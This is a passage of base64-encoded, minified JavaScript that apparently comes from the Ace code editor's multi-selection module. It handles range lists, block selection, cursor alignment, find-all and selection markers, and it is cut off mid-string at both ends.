JuIHRoaXMuJG9uUmVtb3ZlUmFuZ2UodCksdFswXX0sdGhpcy5tZXJnZU92ZXJsYXBwaW5nUmFuZ2VzPWZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5yYW5nZUxpc3QubWVyZ2UoKTtlLmxlbmd0aCYmdGhpcy4kb25SZW1vdmVSYW5nZShlKX0sdGhpcy4kb25BZGRSYW5nZT1mdW5jdGlvbihlKXt0aGlzLnJhbmdlQ291bnQ9dGhpcy5yYW5nZUxpc3QucmFuZ2VzLmxlbmd0aCx0aGlzLnJhbmdlcy51bnNoaWZ0KGUpLHRoaXMuX3NpZ25hbCgiYWRkUmFuZ2UiLHtyYW5nZTplfSl9LHRoaXMuJG9uUmVtb3ZlUmFuZ2U9ZnVuY3Rpb24oZSl7dGhpcy5yYW5nZUNvdW50PXRoaXMucmFuZ2VMaXN0LnJhbmdlcy5sZW5ndGg7aWYodGhpcy5yYW5nZUNvdW50PT0xJiZ0aGlzLmluTXVsdGlTZWxlY3RNb2RlKXt2YXIgdD10aGlzLnJhbmdlTGlzdC5yYW5nZXMucG9wKCk7ZS5wdXNoKHQpLHRoaXMucmFuZ2VDb3VudD0wfWZvcih2YXIgbj1lLmxlbmd0aDtuLS07KXt2YXIgcj10aGlzLnJhbmdlcy5pbmRleE9mKGVbbl0pO3RoaXMucmFuZ2VzLnNwbGljZShyLDEpfXRoaXMuX3NpZ25hbCgicmVtb3ZlUmFuZ2UiLHtyYW5nZXM6ZX0pLHRoaXMucmFuZ2VDb3VudD09PTAmJnRoaXMuaW5NdWx0aVNlbGVjdE1vZGUmJih0aGlzLmluTXVsdGlTZWxlY3RNb2RlPSExLHRoaXMuX3NpZ25hbCgic2luZ2xlU2VsZWN0IiksdGhpcy5zZXNzaW9uLiR1bmRvU2VsZWN0PSEwLHRoaXMucmFuZ2VMaXN0LmRldGFjaCh0aGlzLnNlc3Npb24pKSx0PXR8fHRoaXMucmFuZ2VzWzBdLHQmJiF0LmlzRXF1YWwodGhpcy5nZXRSYW5nZSgpKSYmdGhpcy5mcm9tT3JpZW50ZWRSYW5nZSh0KX0sdGhpcy4kaW5pdFJhbmdlTGlzdD1mdW5jdGlvbigpe2lmKHRoaXMucmFuZ2VMaXN0KXJldHVybjt0aGlzLnJhbmdlTGlzdD1uZXcgcix0aGlzLnJhbmdlcz1bXSx0aGlzLnJhbmdlQ291bnQ9MH0sdGhpcy5nZXRBbGxSYW5nZXM9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5yYW5nZUNvdW50P3RoaXMucmFuZ2VMaXN0LnJhbmdlcy5jb25jYXQoKTpbdGhpcy5nZXRSYW5nZSgpXX0sdGhpcy5zcGxpdEludG9MaW5lcz1mdW5jdGlvbigpe3ZhciBlPXRoaXMucmFuZ2VzLmxlbmd0aD90aGlzLnJhbmdlczpbdGhpcy5nZXRSYW5nZSgpXSx0PVtdO2Zvcih2YXIgbj0wO248ZS5sZW5ndGg7bisrKXt2YXIgcj1lW25dLHM9ci5zdGFydC5yb3csbz1yLmVuZC5yb3c7aWYocz09PW8pdC5wdXNoKHIuY2xvbmUoKSk7ZWxzZXt0LnB1c2gobmV3IGkocyxyLnN0YXJ0LmNvbHVtbixzLHRoaXMuc2Vzc2lvbi5nZXRMaW5lKHMpLmxlbmd0aCkpO3doaWxlKCsrczxvKXQucHVzaCh0aGlzLmdldExpbmVSYW5nZShzLCEwKSk7dC5wdXNoKG5ldyBpKG8sMCxvLHIuZW5kLmNvbHVtbikpfW49PTAmJiF0aGlzLmlzQmFja3dhcmRzKCkmJih0PXQucmV2ZXJzZSgpKX10aGlzLnRvU2luZ2xlUmFuZ2UoKTtmb3IodmFyIG49dC5sZW5ndGg7bi0tOyl0aGlzLmFkZFJhbmdlKHRbbl0pfSx0aGlzLmpvaW5TZWxlY3Rpb25zPWZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5yYW5nZUxpc3QucmFuZ2VzLHQ9ZVtlLmxlbmd0aC0xXSxuPWkuZnJvbVBvaW50cyhlWzBdLnN0YXJ0LHQuZW5kKTt0aGlzLnRvU2luZ2xlUmFuZ2UoKSx0aGlzLnNldFNlbGVjdGlvblJhbmdlKG4sdC5jdXJzb3I9PXQuc3RhcnQpfSx0aGlzLnRvZ2dsZUJsb2NrU2VsZWN0aW9uPWZ1bmN0aW9uKCl7aWYodGhpcy5yYW5nZUNvdW50PjEpe3ZhciBlPXRoaXMucmFuZ2VMaXN0LnJhbmdlcyx0PWVbZS5sZW5ndGgtMV0sbj1pLmZyb21Qb2ludHMoZVswXS5zdGFydCx0LmVuZCk7dGhpcy50b1NpbmdsZVJhbmdlKCksdGhpcy5zZXRTZWxlY3Rpb25SYW5nZShuLHQuY3Vyc29yPT10LnN0YXJ0KX1lbHNle3ZhciByPXRoaXMuc2Vzc2lvbi5kb2N1bWVudFRvU2NyZWVuUG9zaXRpb24odGhpcy5jdXJzb3IpLHM9dGhpcy5zZXNzaW9uLmRvY3VtZW50VG9TY3JlZW5Qb3NpdGlvbih0aGlzLmFuY2hvciksbz10aGlzLnJlY3Rhbmd1bGFyUmFuZ2VCbG9jayhyLHMpO28uZm9yRWFjaCh0aGlzLmFkZFJhbmdlLHRoaXMpfX0sdGhpcy5yZWN0YW5ndWxhclJhbmdlQmxvY2s9ZnVuY3Rpb24oZSx0LG4pe3ZhciByPVtdLHM9ZS5jb2x1bW48dC5jb2x1bW47aWYocyl2YXIgbz1lLmNvbHVtbix1PXQuY29sdW1uLGE9ZS5vZmZzZXRYLGY9dC5vZmZzZXRYO2Vsc2UgdmFyIG89dC5jb2x1bW4sdT1lLmNvbHVtbixhPXQub2Zmc2V0WCxmPWUub2Zmc2V0WDt2YXIgbD1lLnJvdzx0LnJvdztpZihsKXZhciBjPWUucm93LGg9dC5yb3c7ZWxzZSB2YXIgYz10LnJvdyxoPWUucm93O288MCYmKG89MCksYzwwJiYoYz0wKSxjPT1oJiYobj0hMCk7dmFyIHA7Zm9yKHZhciBkPWM7ZDw9aDtkKyspe3ZhciBtPWkuZnJvbVBvaW50cyh0aGlzLnNlc3Npb24uc2NyZWVuVG9Eb2N1bWVudFBvc2l0aW9uKGQsbyxhKSx0aGlzLnNlc3Npb24uc2NyZWVuVG9Eb2N1bWVudFBvc2l0aW9uKGQsdSxmKSk7aWYobS5pc0VtcHR5KCkpe2lmKHAmJnYobS5lbmQscCkpYnJlYWs7cD1tLmVuZH1tLmN1cnNvcj1zP20uc3RhcnQ6bS5lbmQsci5wdXNoKG0pfWwmJnIucmV2ZXJzZSgpO2lmKCFuKXt2YXIgZz1yLmxlbmd0aC0xO3doaWxlKHJbZ10uaXNFbXB0eSgpJiZnPjApZy0tO2lmKGc+MCl7dmFyIHk9MDt3aGlsZShyW3ldLmlzRW1wdHkoKSl5Kyt9Zm9yKHZhciBiPWc7Yj49eTtiLS0pcltiXS5pc0VtcHR5KCkmJnIuc3BsaWNlKGIsMSl9cmV0dXJuIHJ9fS5jYWxsKHMucHJvdG90eXBlKTt2YXIgZD1lKCIuL2VkaXRvciIpLkVkaXRvcjsoZnVuY3Rpb24oKXt0aGlzLnVwZGF0ZVNlbGVjdGlvbk1hcmtlcnM9ZnVuY3Rpb24oKXt0aGlzLnJlbmRlcmVyLnVwZGF0ZUN1cnNvcigpLHRoaXMucmVuZGVyZXIudXBkYXRlQmFja01hcmtlcnMoKX0sdGhpcy5hZGRTZWxlY3Rpb25NYXJrZXI9ZnVuY3Rpb24oZSl7ZS5jdXJzb3J8fChlLmN1cnNvcj1lLmVuZCk7dmFyIHQ9dGhpcy5nZXRTZWxlY3Rpb25TdHlsZSgpO3JldHVybiBlLm1hcmtlcj10aGlzLnNlc3Npb24uYWRkTWFya2VyKGUsImFjZV9zZWxlY3Rpb24iLHQpLHRoaXMuc2Vzc2lvbi4kc2VsZWN0aW9uTWFya2Vycy5wdXNoKGUpLHRoaXMuc2Vzc2lvbi5zZWxlY3Rpb25NYXJrZXJDb3VudD10aGlzLnNlc3Npb24uJHNlbGVjdGlvbk1hcmtlcnMubGVuZ3RoLGV9LHRoaXMucmVtb3ZlU2VsZWN0aW9uTWFya2VyPWZ1bmN0aW9uKGUpe2lmKCFlLm1hcmtlcilyZXR1cm47dGhpcy5zZXNzaW9uLnJlbW92ZU1hcmtlcihlLm1hcmtlcik7dmFyIHQ9dGhpcy5zZXNzaW9uLiRzZWxlY3Rpb25NYXJrZXJzLmluZGV4T2YoZSk7dCE9LTEmJnRoaXMuc2Vzc2lvbi4kc2VsZWN0aW9uTWFya2Vycy5zcGxpY2UodCwxKSx0aGlzLnNlc3Npb24uc2VsZWN0aW9uTWFya2VyQ291bnQ9dGhpcy5zZXNzaW9uLiRzZWxlY3Rpb25NYXJrZXJzLmxlbmd0aH0sdGhpcy5yZW1vdmVTZWxlY3Rpb25NYXJrZXJzPWZ1bmN0aW9uKGUpe3ZhciB0PXRoaXMuc2Vzc2lvbi4kc2VsZWN0aW9uTWFya2Vycztmb3IodmFyIG49ZS5sZW5ndGg7bi0tOyl7dmFyIHI9ZVtuXTtpZighci5tYXJrZXIpY29udGludWU7dGhpcy5zZXNzaW9uLnJlbW92ZU1hcmtlcihyLm1hcmtlcik7dmFyIGk9dC5pbmRleE9mKHIpO2khPS0xJiZ0LnNwbGljZShpLDEpfXRoaXMuc2Vzc2lvbi5zZWxlY3Rpb25NYXJrZXJDb3VudD10Lmxlbmd0aH0sdGhpcy4kb25BZGRSYW5nZT1mdW5jdGlvbihlKXt0aGlzLmFkZFNlbGVjdGlvbk1hcmtlcihlLnJhbmdlKSx0aGlzLnJlbmRlcmVyLnVwZGF0ZUN1cnNvcigpLHRoaXMucmVuZGVyZXIudXBkYXRlQmFja01hcmtlcnMoKX0sdGhpcy4kb25SZW1vdmVSYW5nZT1mdW5jdGlvbihlKXt0aGlzLnJlbW92ZVNlbGVjdGlvbk1hcmtlcnMoZS5yYW5nZXMpLHRoaXMucmVuZGVyZXIudXBkYXRlQ3Vyc29yKCksdGhpcy5yZW5kZXJlci51cGRhdGVCYWNrTWFya2VycygpfSx0aGlzLiRvbk11bHRpU2VsZWN0PWZ1bmN0aW9uKGUpe2lmKHRoaXMuaW5NdWx0aVNlbGVjdE1vZGUpcmV0dXJuO3RoaXMuaW5NdWx0aVNlbGVjdE1vZGU9ITAsdGhpcy5zZXRTdHlsZSgiYWNlX211bHRpc2VsZWN0IiksdGhpcy5rZXlCaW5kaW5nLmFkZEtleWJvYXJkSGFuZGxlcihmLmtleWJvYXJkSGFuZGxlciksdGhpcy5jb21tYW5kcy5zZXREZWZhdWx0SGFuZGxlcigiZXhlYyIsdGhpcy4kb25NdWx0aVNlbGVjdEV4ZWMpLHRoaXMucmVuZGVyZXIudXBkYXRlQ3Vyc29yKCksdGhpcy5yZW5kZXJlci51cGRhdGVCYWNrTWFya2VycygpfSx0aGlzLiRvblNpbmdsZVNlbGVjdD1mdW5jdGlvbihlKXtpZih0aGlzLnNlc3Npb24ubXVsdGlTZWxlY3QuaW5WaXJ0dWFsTW9kZSlyZXR1cm47dGhpcy5pbk11bHRpU2VsZWN0TW9kZT0hMSx0aGlzLnVuc2V0U3R5bGUoImFjZV9tdWx0aXNlbGVjdCIpLHRoaXMua2V5QmluZGluZy5yZW1vdmVLZXlib2FyZEhhbmRsZXIoZi5rZXlib2FyZEhhbmRsZXIpLHRoaXMuY29tbWFuZHMucmVtb3ZlRGVmYXVsdEhhbmRsZXIoImV4ZWMiLHRoaXMuJG9uTXVsdGlTZWxlY3RFeGVjKSx0aGlzLnJlbmRlcmVyLnVwZGF0ZUN1cnNvcigpLHRoaXMucmVuZGVyZXIudXBkYXRlQmFja01hcmtlcnMoKSx0aGlzLl9lbWl0KCJjaGFuZ2VTZWxlY3Rpb24iKX0sdGhpcy4kb25NdWx0aVNlbGVjdEV4ZWM9ZnVuY3Rpb24oZSl7dmFyIHQ9ZS5jb21tYW5kLG49ZS5lZGl0b3I7aWYoIW4ubXVsdGlTZWxlY3QpcmV0dXJuO2lmKCF0Lm11bHRpU2VsZWN0QWN0aW9uKXt2YXIgcj10LmV4ZWMobixlLmFyZ3N8fHt9KTtuLm11bHRpU2VsZWN0LmFkZFJhbmdlKG4ubXVsdGlTZWxlY3QudG9PcmllbnRlZFJhbmdlKCkpLG4ubXVsdGlTZWxlY3QubWVyZ2VPdmVybGFwcGluZ1JhbmdlcygpfWVsc2UgdC5tdWx0aVNlbGVjdEFjdGlvbj09ImZvckVhY2giP3I9bi5mb3JFYWNoU2VsZWN0aW9uKHQsZS5hcmdzKTp0Lm11bHRpU2VsZWN0QWN0aW9uPT0iZm9yRWFjaExpbmUiP3I9bi5mb3JFYWNoU2VsZWN0aW9uKHQsZS5hcmdzLCEwKTp0Lm11bHRpU2VsZWN0QWN0aW9uPT0ic2luZ2xlIj8obi5leGl0TXVsdGlTZWxlY3RNb2RlKCkscj10LmV4ZWMobixlLmFyZ3N8fHt9KSk6cj10Lm11bHRpU2VsZWN0QWN0aW9uKG4sZS5hcmdzfHx7fSk7cmV0dXJuIHJ9LHRoaXMuZm9yRWFjaFNlbGVjdGlvbj1mdW5jdGlvbihlLHQsbil7aWYodGhpcy5pblZpcnR1YWxTZWxlY3Rpb25Nb2RlKXJldHVybjt2YXIgcj1uJiZuLmtlZXBPcmRlcixpPW49PTF8fG4mJm4uJGJ5TGluZXMsbz10aGlzLnNlc3Npb24sdT10aGlzLnNlbGVjdGlvbixhPXUucmFuZ2VMaXN0LGY9KHI/dTphKS5yYW5nZXMsbDtpZighZi5sZW5ndGgpcmV0dXJuIGUuZXhlYz9lLmV4ZWModGhpcyx0fHx7fSk6ZSh0aGlzLHR8fHt9KTt2YXIgYz11Ll9ldmVudFJlZ2lzdHJ5O3UuX2V2ZW50UmVnaXN0cnk9e307dmFyIGg9bmV3IHMobyk7dGhpcy5pblZpcnR1YWxTZWxlY3Rpb25Nb2RlPSEwO2Zvcih2YXIgcD1mLmxlbmd0aDtwLS07KXtpZihpKXdoaWxlKHA+MCYmZltwXS5zdGFydC5yb3c9PWZbcC0xXS5lbmQucm93KXAtLTtoLmZyb21PcmllbnRlZFJhbmdlKGZbcF0pLGguaW5kZXg9cCx0aGlzLnNlbGVjdGlvbj1vLnNlbGVjdGlvbj1oO3ZhciBkPWUuZXhlYz9lLmV4ZWModGhpcyx0fHx7fSk6ZSh0aGlzLHR8fHt9KTshbCYmZCE9PXVuZGVmaW5lZCYmKGw9ZCksaC50b09yaWVudGVkUmFuZ2UoZltwXSl9aC5kZXRhY2goKSx0aGlzLnNlbGVjdGlvbj1vLnNlbGVjdGlvbj11LHRoaXMuaW5WaXJ0dWFsU2VsZWN0aW9uTW9kZT0hMSx1Ll9ldmVudFJlZ2lzdHJ5PWMsdS5tZXJnZU92ZXJsYXBwaW5nUmFuZ2VzKCksdS5yYW5nZXNbMF0mJnUuZnJvbU9yaWVudGVkUmFuZ2UodS5yYW5nZXNbMF0pO3ZhciB2PXRoaXMucmVuZGVyZXIuJHNjcm9sbEFuaW1hdGlvbjtyZXR1cm4gdGhpcy5vbkN1cnNvckNoYW5nZSgpLHRoaXMub25TZWxlY3Rpb25DaGFuZ2UoKSx2JiZ2LmZyb209PXYudG8mJnRoaXMucmVuZGVyZXIuYW5pbWF0ZVNjcm9sbGluZyh2LmZyb20pLGx9LHRoaXMuZXhpdE11bHRpU2VsZWN0TW9kZT1mdW5jdGlvbigpe2lmKCF0aGlzLmluTXVsdGlTZWxlY3RNb2RlfHx0aGlzLmluVmlydHVhbFNlbGVjdGlvbk1vZGUpcmV0dXJuO3RoaXMubXVsdGlTZWxlY3QudG9TaW5nbGVSYW5nZSgpfSx0aGlzLmdldFNlbGVjdGVkVGV4dD1mdW5jdGlvbigpe3ZhciBlPSIiO2lmKHRoaXMuaW5NdWx0aVNlbGVjdE1vZGUmJiF0aGlzLmluVmlydHVhbFNlbGVjdGlvbk1vZGUpe3ZhciB0PXRoaXMubXVsdGlTZWxlY3QucmFuZ2VMaXN0LnJhbmdlcyxuPVtdO2Zvcih2YXIgcj0wO3I8dC5sZW5ndGg7cisrKW4ucHVzaCh0aGlzLnNlc3Npb24uZ2V0VGV4dFJhbmdlKHRbcl0pKTt2YXIgaT10aGlzLnNlc3Npb24uZ2V0RG9jdW1lbnQoKS5nZXROZXdMaW5lQ2hhcmFjdGVyKCk7ZT1uLmpvaW4oaSksZS5sZW5ndGg9PShuLmxlbmd0aC0xKSppLmxlbmd0aCYmKGU9IiIpfWVsc2UgdGhpcy5zZWxlY3Rpb24uaXNFbXB0eSgpfHwoZT10aGlzLnNlc3Npb24uZ2V0VGV4dFJhbmdlKHRoaXMuZ2V0U2VsZWN0aW9uUmFuZ2UoKSkpO3JldHVybiBlfSx0aGlzLiRjaGVja011bHRpc2VsZWN0Q2hhbmdlPWZ1bmN0aW9uKGUsdCl7aWYodGhpcy5pbk11bHRpU2VsZWN0TW9kZSYmIXRoaXMuaW5WaXJ0dWFsU2VsZWN0aW9uTW9kZSl7dmFyIG49dGhpcy5tdWx0aVNlbGVjdC5yYW5nZXNbMF07aWYodGhpcy5tdWx0aVNlbGVjdC5pc0VtcHR5KCkmJnQ9PXRoaXMubXVsdGlTZWxlY3QuYW5jaG9yKXJldHVybjt2YXIgcj10PT10aGlzLm11bHRpU2VsZWN0LmFuY2hvcj9uLmN1cnNvcj09bi5zdGFydD9uLmVuZDpuLnN0YXJ0Om4uY3Vyc29yO3Iucm93IT10LnJvd3x8dGhpcy5zZXNzaW9uLiRjbGlwUG9zaXRpb25Ub0RvY3VtZW50KHIucm93LHIuY29sdW1uKS5jb2x1bW4hPXQuY29sdW1uP3RoaXMubXVsdGlTZWxlY3QudG9TaW5nbGVSYW5nZSh0aGlzLm11bHRpU2VsZWN0LnRvT3JpZW50ZWRSYW5nZSgpKTp0aGlzLm11bHRpU2VsZWN0Lm1lcmdlT3ZlcmxhcHBpbmdSYW5nZXMoKX19LHRoaXMuZmluZEFsbD1mdW5jdGlvbihlLHQsbil7dD10fHx7fSx0Lm5lZWRsZT1lfHx0Lm5lZWRsZTtpZih0Lm5lZWRsZT09dW5kZWZpbmVkKXt2YXIgcj10aGlzLnNlbGVjdGlvbi5pc0VtcHR5KCk/dGhpcy5zZWxlY3Rpb24uZ2V0V29yZFJhbmdlKCk6dGhpcy5zZWxlY3Rpb24uZ2V0UmFuZ2UoKTt0Lm5lZWRsZT10aGlzLnNlc3Npb24uZ2V0VGV4dFJhbmdlKHIpfXRoaXMuJHNlYXJjaC5zZXQodCk7dmFyIGk9dGhpcy4kc2VhcmNoLmZpbmRBbGwodGhpcy5zZXNzaW9uKTtpZighaS5sZW5ndGgpcmV0dXJuIDA7dmFyIHM9dGhpcy5tdWx0aVNlbGVjdDtufHxzLnRvU2luZ2xlUmFuZ2UoaVswXSk7Zm9yKHZhciBvPWkubGVuZ3RoO28tLTspcy5hZGRSYW5nZShpW29dLCEwKTtyZXR1cm4gciYmcy5yYW5nZUxpc3QucmFuZ2VBdFBvaW50KHIuc3RhcnQpJiZzLmFkZFJhbmdlKHIsITApLGkubGVuZ3RofSx0aGlzLnNlbGVjdE1vcmVMaW5lcz1mdW5jdGlvbihlLHQpe3ZhciBuPXRoaXMuc2VsZWN0aW9uLnRvT3JpZW50ZWRSYW5nZSgpLHI9bi5jdXJzb3I9PW4uZW5kLHM9dGhpcy5zZXNzaW9uLmRvY3VtZW50VG9TY3JlZW5Qb3NpdGlvbihuLmN1cnNvcik7dGhpcy5zZWxlY3Rpb24uJGRlc2lyZWRDb2x1bW4mJihzLmNvbHVtbj10aGlzLnNlbGVjdGlvbi4kZGVzaXJlZENvbHVtbik7dmFyIG89dGhpcy5zZXNzaW9uLnNjcmVlblRvRG9jdW1lbnRQb3NpdGlvbihzLnJvdytlLHMuY29sdW1uKTtpZighbi5pc0VtcHR5KCkpdmFyIHU9dGhpcy5zZXNzaW9uLmRvY3VtZW50VG9TY3JlZW5Qb3NpdGlvbihyP24uZW5kOm4uc3RhcnQpLGE9dGhpcy5zZXNzaW9uLnNjcmVlblRvRG9jdW1lbnRQb3NpdGlvbih1LnJvdytlLHUuY29sdW1uKTtlbHNlIHZhciBhPW87aWYocil7dmFyIGY9aS5mcm9tUG9pbnRzKG8sYSk7Zi5jdXJzb3I9Zi5zdGFydH1lbHNle3ZhciBmPWkuZnJvbVBvaW50cyhhLG8pO2YuY3Vyc29yPWYuZW5kfWYuZGVzaXJlZENvbHVtbj1zLmNvbHVtbjtpZighdGhpcy5zZWxlY3Rpb24uaW5NdWx0aVNlbGVjdE1vZGUpdGhpcy5zZWxlY3Rpb24uYWRkUmFuZ2Uobik7ZWxzZSBpZih0KXZhciBsPW4uY3Vyc29yO3RoaXMuc2VsZWN0aW9uLmFkZFJhbmdlKGYpLGwmJnRoaXMuc2VsZWN0aW9uLnN1YnN0cmFjdFBvaW50KGwpfSx0aGlzLnRyYW5zcG9zZVNlbGVjdGlvbnM9ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpcy5zZXNzaW9uLG49dC5tdWx0aVNlbGVjdCxyPW4ucmFuZ2VzO2Zvcih2YXIgaT1yLmxlbmd0aDtpLS07KXt2YXIgcz1yW2ldO2lmKHMuaXNFbXB0eSgpKXt2YXIgbz10LmdldFdvcmRSYW5nZShzLnN0YXJ0LnJvdyxzLnN0YXJ0LmNvbHVtbik7cy5zdGFydC5yb3c9by5zdGFydC5yb3cscy5zdGFydC5jb2x1bW49by5zdGFydC5jb2x1bW4scy5lbmQucm93PW8uZW5kLnJvdyxzLmVuZC5jb2x1bW49by5lbmQuY29sdW1ufX1uLm1lcmdlT3ZlcmxhcHBpbmdSYW5nZXMoKTt2YXIgdT1bXTtmb3IodmFyIGk9ci5sZW5ndGg7aS0tOyl7dmFyIHM9cltpXTt1LnVuc2hpZnQodC5nZXRUZXh0UmFuZ2UocykpfWU8MD91LnVuc2hpZnQodS5wb3AoKSk6dS5wdXNoKHUuc2hpZnQoKSk7Zm9yKHZhciBpPXIubGVuZ3RoO2ktLTspe3ZhciBzPXJbaV0sbz1zLmNsb25lKCk7dC5yZXBsYWNlKHMsdVtpXSkscy5zdGFydC5yb3c9by5zdGFydC5yb3cscy5zdGFydC5jb2x1bW49by5zdGFydC5jb2x1bW59bi5mcm9tT3JpZW50ZWRSYW5nZShuLnJhbmdlc1swXSl9LHRoaXMuc2VsZWN0TW9yZT1mdW5jdGlvbihlLHQsbil7dmFyIHI9dGhpcy5zZXNzaW9uLGk9ci5tdWx0aVNlbGVjdCxzPWkudG9PcmllbnRlZFJhbmdlKCk7aWYocy5pc0VtcHR5KCkpe3M9ci5nZXRXb3JkUmFuZ2Uocy5zdGFydC5yb3cscy5zdGFydC5jb2x1bW4pLHMuY3Vyc29yPWU9PS0xP3Muc3RhcnQ6cy5lbmQsdGhpcy5tdWx0aVNlbGVjdC5hZGRSYW5nZShzKTtpZihuKXJldHVybn12YXIgbz1yLmdldFRleHRSYW5nZShzKSx1PWgocixvLGUpO3UmJih1LmN1cnNvcj1lPT0tMT91LnN0YXJ0OnUuZW5kLHRoaXMuc2Vzc2lvbi51bmZvbGQodSksdGhpcy5tdWx0aVNlbGVjdC5hZGRSYW5nZSh1KSx0aGlzLnJlbmRlcmVyLnNjcm9sbEN1cnNvckludG9WaWV3KG51bGwsLjUpKSx0JiZ0aGlzLm11bHRpU2VsZWN0LnN1YnN0cmFjdFBvaW50KHMuY3Vyc29yKX0sdGhpcy5hbGlnbkN1cnNvcnM9ZnVuY3Rpb24oKXt2YXIgZT10aGlzLnNlc3Npb24sdD1lLm11bHRpU2VsZWN0LG49dC5yYW5nZXMscj0tMSxzPW4uZmlsdGVyKGZ1bmN0aW9uKGUpe2lmKGUuY3Vyc29yLnJvdz09cilyZXR1cm4hMDtyPWUuY3Vyc29yLnJvd30pO2lmKCFuLmxlbmd0aHx8cy5sZW5ndGg9PW4ubGVuZ3RoLTEpe3ZhciBvPXRoaXMuc2VsZWN0aW9uLmdldFJhbmdlKCksdT1vLnN0YXJ0LnJvdyxmPW8uZW5kLnJvdyxsPXU9PWY7aWYobCl7dmFyIGM9dGhpcy5zZXNzaW9uLmdldExlbmd0aCgpLGg7ZG8gaD10aGlzLnNlc3Npb24uZ2V0TGluZShmKTt3aGlsZSgvWz06XS8udGVzdChoKSYmKytmPGMpO2RvIGg9dGhpcy5zZXNzaW9uLmdldExpbmUodSk7d2hpbGUoL1s9Ol0vLnRlc3QoaCkmJi0tdT4wKTt1PDAmJih1PTApLGY+PWMmJihmPWMtMSl9dmFyIHA9dGhpcy5zZXNzaW9uLnJlbW92ZUZ1bGxMaW5lcyh1LGYpO3A9dGhpcy4kcmVBbGlnblRleHQocCxsKSx0aGlzLnNlc3Npb24uaW5zZXJ0KHtyb3c6dSxjb2x1bW46MH0scC5qb2luKCJcbiIpKyJcbiIpLGx8fChvLnN0YXJ0LmNvbHVtbj0wLG8uZW5kLmNvbHVtbj1wW3AubGVuZ3RoLTFdLmxlbmd0aCksdGhpcy5zZWxlY3Rpb24uc2V0UmFuZ2Uobyl9ZWxzZXtzLmZvckVhY2goZnVuY3Rpb24oZSl7dC5zdWJzdHJhY3RQb2ludChlLmN1cnNvcil9KTt2YXIgZD0wLHY9SW5maW5pdHksbT1uLm1hcChmdW5jdGlvbih0KXt2YXIgbj10LmN1cnNvcixyPWUuZ2V0TGluZShuLnJvdyksaT1yLnN1YnN0cihuLmNvbHVtbikuc2VhcmNoKC9cUy9nKTtyZXR1cm4gaT09LTEmJihpPTApLG4uY29sdW1uPmQmJihkPW4uY29sdW1uKSxpPHYmJih2PWkpLGl9KTtuLmZvckVhY2goZnVuY3Rpb24odCxuKXt2YXIgcj10LmN1cnNvcixzPWQtci5jb2x1bW4sbz1tW25dLXY7cz5vP2UuaW5zZXJ0KHIsYS5zdHJpbmdSZXBlYXQoIiAiLHMtbykpOmUucmVtb3ZlKG5ldyBpKHIucm93LHIuY29sdW1uLHIucm93LHIuY29sdW1uLXMrbykpLHQuc3RhcnQuY29sdW1uPXQuZW5kLmNvbHVtbj1kLHQuc3RhcnQucm93PXQuZW5kLnJvdz1yLnJvdyx0LmN1cnNvcj10LmVuZH0pLHQuZnJvbU9yaWVudGVkUmFuZ2UoblswXSksdGhpcy5yZW5kZXJlci51cGRhdGVDdXJzb3IoKSx0aGlzLnJlbmRlcmVyLnVwZGF0ZUJhY2tNYXJrZXJzKCl9fSx0aGlzLiRyZUFsaWduVGV4dD1mdW5jdGlvbihlLHQpe2Z1bmN0aW9uIHUoZSl7cmV0dXJuIGEuc3RyaW5nUmVwZWF0KCIgIixlKX1mdW5jdGlvbiBmKGUpe3JldHVybiBlWzJdP3UoaSkrZVsyXSt1KHMtZVsyXS5sZW5ndGgrbykrZVs0XS5yZXBsYWNlKC9eKFs9Ol0pXHMrLywiJDEgIik6ZVswXX1mdW5jdGlvbiBsKGUpe3JldHVybiBlWzJdP3UoaStzLWVbMl0ubGVuZ3RoKStlWzJdK3UobykrZVs0XS5yZXBsYWNlKC9eKFs9Ol0pXHMrLywiJDEgIik6ZVswXX1mdW5jdGlvbiBjKGUpe3JldHVybiBlWzJdP3UoaSkrZVsyXSt1KG8pK2VbNF0ucmVwbGFjZSgvXihbPTpdKVxzKy8sIiQxICIpOmVbMF19dmFyIG49ITAscj0hMCxpLHMsbztyZXR1cm4gZS5tYXAoZnVuY3Rpb24oZSl7dmFyIHQ9ZS5tYXRjaCgvKFxzKikoLio/KShccyopKFs9Ol0uKikvKTtyZXR1cm4gdD9pPT1udWxsPyhpPXRbMV0ubGVuZ3RoLHM9dFsyXS5sZW5ndGgsbz10WzNdLmxlbmd0aCx0KTooaStzK28hPXRbMV0ubGVuZ3RoK3RbMl0ubGVuZ3RoK3RbM10ubGVuZ3RoJiYocj0hMSksaSE9dFsxXS5sZW5ndGgmJihuPSExKSxpPnRbMV0ubGVuZ3RoJiYoaT10WzFdLmxlbmd0aCksczx0WzJdLmxlbmd0aCYmKHM9dFsyXS5sZW5ndGgpLG8+dFszXS5sZW5ndGgmJihvPXRbM10ubGVuZ3RoKSx0KTpbZV19KS5tYXAodD9mOm4/cj9sOmY6Yyl9fSkuY2FsbChkLnByb3RvdHlwZSksdC5vblNlc3Npb25DaGFuZ2U9ZnVuY3Rpb24oZSl7dmFyIHQ9ZS5zZXNzaW9uO3QmJiF0Lm11bHRpU2VsZWN0JiYodC4kc2VsZWN0aW9uTWFya2Vycz1bXSx0LnNlbGVjdGlvbi4kaW5pdFJhbmdlTGlzdCgpLHQubXVsdGlTZWxlY3Q9dC5zZWxlY3Rpb24pLHRoaXMubXVsdGlTZWxlY3Q9dCYmdC5tdWx0aVNlbGVjdDt2YXIgbj1lLm9sZFNlc3Npb247biYmKG4ubXVsdGlTZWxlY3Qub2ZmKCJhZGRSYW5nZSIsdGhpcy4kb25BZGRSYW5nZSksbi5tdWx0aVNlbGVjdC5vZmYoInJlbW92ZVJhbmdlIix0aGlzLiRvblJlbW92ZVJhbmdlKSxuLm11bHRpU2VsZWN0Lm9mZigibXVsdGlTZWxlY3QiLHRoaXMuJG9uTXVsdGlTZWxlY3QpLG4ubXVsdGlTZWxlY3Qub2ZmKCJzaW5nbGVTZWxlY3QiLHRoaXMuJG9uU2luZ2xlU2VsZWN0KSxuLm11bHRpU2VsZWN0LmxlYWQub2ZmKCJjaGFuZ2UiLHRoaXMuJGNoZWNrTXVsdGlzZWxlY3RDaGFuZ2UpLG4ubXVsdGlTZWxlY3QuYW5jaG9yLm9mZigiY2hhbmdlIix0aGlzLiRjaGVja011bHRpc2VsZWN0Q2hhbmdlKSksdCYmKHQubXVsdGlTZWxlY3Qub24oImFkZFJhbmdlIix0aGlzLiRvbkFkZFJhbmdlKSx0Lm11bHRpU2